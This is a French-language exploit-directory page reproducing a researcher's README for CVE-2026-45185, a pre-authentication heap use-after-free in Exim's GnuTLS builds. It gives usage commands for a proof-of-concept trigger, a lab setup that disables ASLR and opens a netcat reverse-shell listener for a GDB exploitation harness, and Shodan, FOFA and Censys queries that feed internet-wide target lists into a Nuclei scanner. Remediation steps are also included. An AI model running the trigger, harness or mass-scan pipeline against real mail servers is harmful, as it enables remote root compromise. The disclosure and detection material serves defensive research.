Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-45185 — Exploite une use-after-free critique du tas avant authentification dans Exim via TLS close_notify pour obtenir un accès root à distance ; inclut un harnais de laboratoire GDB et un modèle de détection Nuclei. | Kitploit
Outils/GitHubGitHub/0init/cve-2026-45185
Scanners de VulnérabilitésAnalyse des VulnérabilitésExploitationApprentissage et ÉducationExploitation de BinairesLabs et Pratique
GitHub0init/cve-2026-45185

CVE-2026-45185

Exploite une use-after-free critique du tas avant authentification dans Exim via TLS close_notify pour obtenir un accès root à distance ; inclut un harnais de laboratoire GDB et un modèle de détection Nuclei.

Voir le dépôt
il y a 13 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-45185 — Dead.Letter : UAF du tas Exim menant à un root à distance

CVSS 9.8 Critique | Exim 4.97–4.99.2 | Builds Ubuntu / GnuTLS | Sans authentification

Analyse complète avec trace GDB, analyse pas à pas et données d'exposition mondiales :
https://0init.github.io/cve-2026-45185-dead-letter-exim-rce.html


Qu'est-ce que c'est

L'envoi d'une alerte TLS close_notify pendant qu'Exim est en plein transfert du corps BDAT amène tls_close() à appeler gnutls_deinit(), libérant la structure gnutls_session_int de 7 304 octets. La couche de réception BDAT conserve un pointeur obsolète. Lorsque la boucle de lecture du corps reprend, tls_getbuf → gnutls_record_recv déréférence la session libérée — use-after-free du tas, avant authentification, sans aucune information d'identification requise.

Corrigé dans Exim 4.99.3.


Affecté

ConditionRequis
Version d'Exim4.97, 4.97.x, 4.98, 4.98.x, 4.99.0, 4.99.1, 4.99.2
BuildUbuntu / Debian avec GnuTLS (libgnutls28-dev)
FonctionnalitéCHUNKING annoncée dans EHLO (activée par défaut)

Alpine Linux et les Exim auto-compilés liés à OpenSSL ne sont pas affectés.


Fichiers


poc.py — Déclencheur d'UAF

root@kitploit:~
python3 poc.py <host> <port> <rcpt@domain>

# example
python3 poc.py mail.example.com 587 [email protected]

Si le serveur reste actif après le déclencheur, le chemin de l'UAF existe. S'il plante, quelque chose a changé dans le comportement de tcache.


diag19_gdb.py — Harnais GDB (laboratoire uniquement)

Mise en place du lab Docker (5 minutes)

root@kitploit:~
# 1. Pull Ubuntu 22.04 + install Exim 4.97 with GnuTLS
docker run -it --name exim4-lab ubuntu:22.04 bash
apt-get update && apt-get install -y exim4 gdb python3

# 2. Disable ASLR (required for hardcoded addresses)
echo 0 | tee /proc/sys/kernel/randomize_va_space

# 3. Configure Exim — enable CHUNKING + STARTTLS, listen on all interfaces
dpkg-reconfigure exim4-config   # choose "internet site", accept defaults

# 4. Start Exim under GDB with harness loaded
gdb -q -x /path/to/diag19_gdb.py --args /usr/sbin/exim4 -bd -d

# 5. In another terminal, run the trigger
python3 poc.py 127.0.0.1 25 user@localhost

# 6. Start a listener for the reverse shell
nc -lvp 4444

Avant d'exécuter : modifiez CMD dans diag19_gdb.py pour pointer vers l'IP de votre listener.
L'adresse SYSTEM est résolue dynamiquement au chargement — aucune recherche manuelle nécessaire.
Les deux adresses dans PostTlsCloseFin (lwr_receive_getbuf, tls_getbuf) sont internes à Exim et doivent correspondre à votre build :

root@kitploit:~
(gdb) p &lwr_receive_getbuf
(gdb) p tls_getbuf

CVE-2026-45185.yaml — Détection Nuclei

root@kitploit:~
# Single target
nuclei -t CVE-2026-45185.yaml -u mail.target.com -v

# Target list
nuclei -t CVE-2026-45185.yaml -l smtp-hosts.txt

# Mass scan from Shodan results
shodan search '"Exim 4.97" "Ubuntu" "CHUNKING" port:25' --fields ip_str,port | \
  awk '{print $1":"$2}' > targets.txt
nuclei -t CVE-2026-45185.yaml -l targets.txt

Logique de détection

Le modèle exécute deux étapes indépendantes :

  1. Empreinte EHLO — envoie EHLO, vérifie les trois conditions requises :

    • Version regex 4.97–4.99.2
    • Ubuntu dans la bannière (liaison GnuTLS confirmée)
    • CHUNKING dans les capacités
  2. Sonde BDAT — envoie BDAT 200 sans RCPT TO, correspond au 503 spécifique d'Exim :

    root@kitploit:~
    503 valid RCPT command must precede BDAT
    

Requêtes de scan de masse

root@kitploit:~
# Shodan
"Exim 4.97" "Ubuntu" "CHUNKING" port:25,587

# FOFA
banner="Exim 4.97" && banner="Ubuntu" && banner="CHUNKING" && (port="25" || port="587")

# Censys
services.smtp.banner:"Exim 4.97" and services.smtp.banner:"Ubuntu"

Remédiation

Mettez à niveau vers Exim 4.99.3 ou ultérieur (correctif officiel).

Solution de contournement (aucune voie d'exploitation, aucun redémarrage requis pour les tests) :

root@kitploit:~
# exim4.conf
chunking_advertise_hosts = !*

Puis service exim4 restart.


Chronologie

DateÉvénement
2026-06-10CVE attribué par XBOW
2026-06-24Avis public publié
2026-08-07RCE en laboratoire confirmée ; cette analyse + PoC publiés

Références

  • Analyse : https://0init.github.io/cve-2026-45185-dead-letter-exim-rce.html
  • Avis XBOW : https://xbow.com/blog/dead-letter-cve-2026-45185-xbow-found-rce-exim
  • NVD : https://nvd.nist.gov/vuln/detail/CVE-2026-45185

par @0Init

Télécharger l’outil
FichierObjectif
poc.pyDéclencheur de l'UAF — bibliothèque standard uniquement, pas de pip. Sûr à exécuter contre vos propres serveurs. Atteint le chemin de l'UAF puis s'arrête (aucun payload).
diag19_gdb.pyHarnais d'exploitation GDB — 7 points d'arrêt, écrit system() dans le bloc libéré après le retour de gnutls_deinit(). Laboratoire uniquement (requiert ASLR désactivé + versions de bibliothèques correspondantes).
CVE-2026-45185.yamlModèle Nuclei — détecte les trois conditions préalables via l'empreinte EHLO + sonde BDAT. Détection sûre, en lecture seule.